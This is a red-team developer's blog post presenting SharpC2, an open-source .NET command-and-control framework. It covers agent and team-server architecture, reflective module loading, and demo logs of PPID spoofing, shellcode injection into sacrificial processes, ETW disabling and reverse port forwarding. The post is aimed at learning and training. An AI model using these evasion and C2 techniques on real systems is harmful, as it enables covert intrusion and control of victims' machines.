Back in October 2018 (yes, 2018!), I approached begged xpn for a collaboration on an idea I had for a .NET C2 Framework. We worked on the project for about a month or so before real life got in the way and stalled development. In February 2019, cobbr released Covenant which is also a .NET C2 Framework. I subsequently spent some time contributing to, and writing about Covenant - but I’ve always wanted to get back to our original project.
I decided to re-visit SharpC2 (a very creative name on my part) over the 2019 Christmas period to try and get it into a position where we could release a proof of concept. Yet somehow I’m not writing this until May 2020! We can blame my RTO course for that.
This post is intended to provide an overview of SharpC2’s design concepts and some showcase examples of how it can be used. Code can be found on GitHub.
Before diving into any code, like any good software dev team 🤪 we had a discussion regarding what the tooling should, could and won’t do. The MoSCoW method is a good typical business example, which is short for “must have”, “should have”, “could have” and “won’t have”.
We decided very early on that the main priorities for the framework were:
Transparency - the framework, the Agent in particular, must not abstract anything (important) away from the visibility or control of the operator.
Modularity - the operator must have free reign to add, subtract or override the default behaviour and capabilities of both the Agents and Team Server. I tried to coin this term “Bring your own Pwnage” (or maybe I heard this somewhere else…).
Base Primitives - as the lead devs, we won’t provide a plethora of post-ex functionality (persistence, priv esc, lateral movement etc). We should instead focus on providing a stable set of core / base primitives, which an operator can leverage to carry out their own tradecraft.
Right now, the SharpC2 Visual Studio Solution is made of 7 projects.
SharpC2 has an HTTP Agent for egress and a TCP Agent for peer-to-peer.
The core components are found in the shared Agent project - this allows rapid code-reuse between the different agent flavors (HTTP, TCP, etc) without copy/paste-style duplication. A shared project is more useful for our use-case compared to a class library, since class libraries compile to a DLL that would be required alongside an agent executable to run. With shared projects, the agent will compile to a standalone exe.
The Agents (as well as the Team Server) has 3 main internal components:
In most cases, an operator should not need to modify the Controllers or Interfaces unless they want to make significant changes to the internals. The AgentController
provides public methods such as SendCommandOutput
that are used by other Modules (more on those in a bit), which simply queues up command and control data to be sent by the CommModule
. The ConfigurationController
allows an operator to set options within the Agent, such as its sleep and jitter.
The three interfaces provided are IAgentModule
, ICommModule
and ICommRelay
. An AgentModule is responsible for providing command functionality for the Agent. A CommModule is responsible for sending and receiving C2 data to/from the Team Server. A CommRelay simply takes the input from one CommModule and puts it into the output of another CommModule.
An AgentModule only requires two methods - GetModuleInfo
which returns a class of AgentModuleInfo
and Initialise
. AgentModuleInfo
contains all the information required for an agent module including a Name and a List of AgentCommand. An AgentCommand also contains a Name, Description, HelpText and a Callback. When an Agent Module is initialised, this information is sent back to the Team Server so it may become available to the operators. This is in contrast to Covenant where all Grunt Task definitions are stored ahead of time on the server. An advantage of our approach is that no server-side changes are required to provide new Agent functionality, at the cost of some additional C2 traffic. Initialise
registers the AgentModule with the Agent itself and any other steps may be required for the module (such as setting some default configuration options).
Here’s an example from the CoreAgentModule:
public AgentModuleInfo GetModuleInfo()
{
return new AgentModuleInfo
{
Name = "Core",
Developer = "Daniel Duggan, Adam Chester",
Commands = new List<AgentModuleInfo.AgentCommand>
{
new AgentModuleInfo.AgentCommand
{
Name = "ls",
Description = "List a Directory",
HelpText = "ls [path]",
Callback = ListDirectory
},
new AgentModuleInfo.AgentCommand(...),
new AgentModuleInfo.AgentCommand(...),
new AgentModuleInfo.AgentCommand(...),
new AgentModuleInfo.AgentCommand(...),
new AgentModuleInfo.AgentCommand(...),
new AgentModuleInfo.AgentCommand(...)
}
};
}
public void Initialise(AgentController agent, ConfigController config)
{
var moduleInfo = GetModuleInfo();
agent.RegisterAgentModule(moduleInfo);
agent.SendModuleRegistered(moduleInfo);
}
private void ListDirectory(string data, AgentController agent, ConfigurationController config)
{
string results = // do some stuff
agent.SendCommandOutput(results);
}
The Callback comes from a delegate within the AgentController.
public delegate void OnAgentCommand(string data, AgentController agentController, ConfigurationController configController);
A CommModule requires Initialise
, Run
, SendData
, RecvData
and Stop
. Within our example HTTPCommModule, Initialise
simply brings in an instance of the ConfigurationController so that it can retrieve those sleep / jitter values. Run
puts the module into a loop for as long as the Agent is running. It checks into the Team Server over HTTP GET, retrieves any jobs and places them into an inbound queue. RecvData
dequeue’s the inbound queue - the jobs are processed by the AgentController and (providing the job matches a “known” command within the AgentModuleInfo) the appropriate callback is executed. When an Agent Module calls SendCommandOutput
, the C2 data is placed in an outbound queue. The SendData
method will enqueue and send the results back to the Team Server on next check-in.
Obviously an operator can implement any communication method within an ICommModule - it’s not limited to HTTP. This opens the door for other exoteric C2 channels without requiring an external solution like C3, as well as peer-to-peer comms such as TCP or SMB.
The ICommRelay
requires two methods: GarbageIn
and GarbageOut
. A relay does not do any reading or processing on the data. The HTTP Agent has its HTTPCommModule to talk to the Team Server and a TCPModule to connect to TCP Agents. The CommRelay will take incoming data from the TCPModule and passes it to the outbound queue of HTTPCommModule. No more, no less.
The architecture of the Team Sever is very similar, in that the core components are also Controllers, Interfaces and Modules.
The ClientController
handles client authentication and returns information requested about authenticated users. The AgentController
handles the session data from agents currently checking into the Team Server and the ServerController
acts as a bridge between the different components that need to talk to each other.
The ICommModule
and HTTPCommModule
behaves as expected, by binding a port and receiving/sending data to Agents. The same in/out queue system is used here. The CoreServerModule
is responsible for handling output from agents, such as when new agents check-in or when command output is received.
The PortFwdModule
is an example of how new server-side functionality can be added, which works in conjunction with the external PortFwd
Agent Module.
An Agent Module may be compiled into the agent (like the CoreAgentModule), or they can be external and loaded at runtime.
Like SharpSploit, external agent modules are .NET Standard DLLs. To maximize compatibility, SharpSploit is .NET Framework 3.5 and 4.0 compliant so it can run on CLR versions 2.0 and 4. However, if you’ve developed anything in .NET you’ll appreciate how much of a pain backwards-compatibility can be. I mean, no LINQ, really…? For this reason and the EoL of platforms such as Windows 7, I’m not personally interested in maintaining this level compatibility. So even though agent modules are .NET Standard, they are only built for CLR 4 and we’ll see what happens with .NET 5.
The default CoreAgentModule only provides very basic functionality such as ls
, pwd
, cd
, sleep
, loadmodule
, link
and exit
. It doesn’t even include any type of shell command. This functionality can be added via external agent modules and the loadmodule
command. This will take the provided assembly and call:
var assembly = Assembly.Load(Helpers.Base64Decode(data));
var module = assembly.CreateInstance("Agent.AgentModule", true);
var agentModule = module as IAgentModule;
agentModule.Initialise(agent, config);
Therefore, an agent module must implement the IAgentModule interface, share the same Agent
namespace and a class of AgentModule
.
This approach allows an operator to implement any post-ex capability in any way they see fit and keeps the core agent executable relatively small and benign. The obvious downsides are the development overhead and having to push DLLs down the C2 channel.
Covenant is similar in that post-ex tasks are compiled dynamically server-side, retrieved by the Grunt and invoked:
Assembly gruntTask = Assembly.Load(decompressedBytes);
var results = gruntTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters);
An advantage of CreateInstance
over Load
is that it allows easier access to the defined methods and variables after the event. In the current Covenant world, consider if we had an assembly like:
public class Example
{
public static void Start()
{
// start something
}
public static void Stop()
{
// stop something
}
}
We could do Assembly.Load(); GetType("Example").GetMethod("Start").Invoke(null, parameters);
but we wouldn’t have subsequent access to the Stop()
method. We can’t do Assembly.Load(); GetType("Example").GetMethod("Stop").Invoke(null, parameters);
because we’d have loaded a completely new instance of the assembly.
That’s not a problem with CreateInstance
- the disadvantage being that the assembly hangs around whilst the agent is running.
The TeamServer has a very basic Blazor interface to demo the functionality of the framework. The 3 elements to this view are the agent grid (top), command output (middle), command box (bottom).
To interact with an agent, simply click on it in the grid. The command output region will show any output from that agent and the placeholder in the command box will update to reflect the selected agent’s ID.
Commands are issued in the format [module] [command] [data]
. For example core pwd
or core ls C:\
. Typing help
will show the commands available. This is contextual to each agent, depending on the modules that are loaded.
To load an external module, we must encode to a base64 string.
Chain multiple TCP Agents using the link
command.
The StageOne module extends the agent by providing fork-and-run-style capabilities. That is, to spawn a sacrificial process to house post-ex functionality.
By default, processes with PPID themselves to the agent.
[+] 10/05/2020 15:50:11 : AgentCommandRequest
stageone run ping 127.0.0.1 -n 30
[+] 10/05/2020 15:50:40 : AgentCommandResponse
Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
[+] 10/05/2020 15:53:46 : AgentCommandRequest
stageone ppid 10992
[+] 10/05/2020 15:53:46 : AgentCommandResponse
Process Id Process Name
---------- ------------
10992 Explorer.EXE
I have a demo .NET assembly that can be turned into shellcode (with donut), injected into a sacrificial process and the output collected.
using System;
using System.Threading;
class Program
{
public static void Main(string[] args)
{
Thread.Sleep(30000); // time to take a screenshot :)
Console.WriteLine("Hello from .NET assembly");
}
}
[+] 10/05/2020 16:03:37 : AgentCommandRequest
stageone disableetw true
[+] 10/05/2020 16:03:37 : AgentCommandResponse
Disabled
--------
True
[+] 10/05/2020 17:32:56 : AgentCommandResponse
Hello from .NET assembly
There is also an experimental module for reverse port forwarding.
[+] 11/05/2020 08:26:49 : AgentModuleRegistered
rportfwd
[+] 11/05/2020 08:28:14 : AgentHelpRequest
Module Command Description HelpText
------ ------- ----------- --------
rportfwd list Returns a list of current reverse port forwards. list
rportfwd start Starts a new reverse port forward. start [bind port] [forward host] [forward port]
rportfwd stop Stops an existing reverse port forward. stop [bind port]
rportfwd flush Flush all reverse port forwards on an Agent. flush
[+] 11/05/2020 08:29:20 : AgentCommandRequest
rportfwd start 8888 172.217.20.131 80
[+] 11/05/2020 08:29:20 : AgentCommandResponse
Bind Address Bind Port Forward Address Forward Port
------------ --------- --------------- ------------
0.0.0.0 8888 172.217.20.131 80
[email protected]:~$ curl http://127.0.0.1:8888/
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.com:8888/">here</A>.
</BODY></HTML>
This was a quick demo of SharpC2 - I hope you can see its potential. I find the idea an open source framework that can provide capabilities such as PPID spoofing, process mitigation policies, ETW patching, port forwarding and more, very exciting.
There’s a lot more development work to do before this can be used for anything useful in the real world - the focus will be on adding stable post-ex primitives. My primary use case for this as a learning and training tool, not for carrying out actual engagements and the priority for development will reflect that.
I’m also not convinced Blazor is a good long-term UI solution for this type of tool. There’s a heavy emphasis on leveraging files from your local machine and an ideal UI would allow command line tab completion to grab assemblies directly from disk. E.g. stageone spawn C:\Path\To\Assembly.exe
. Although cross-platform GUI solutions are thin on the ground cough-Electron-cough…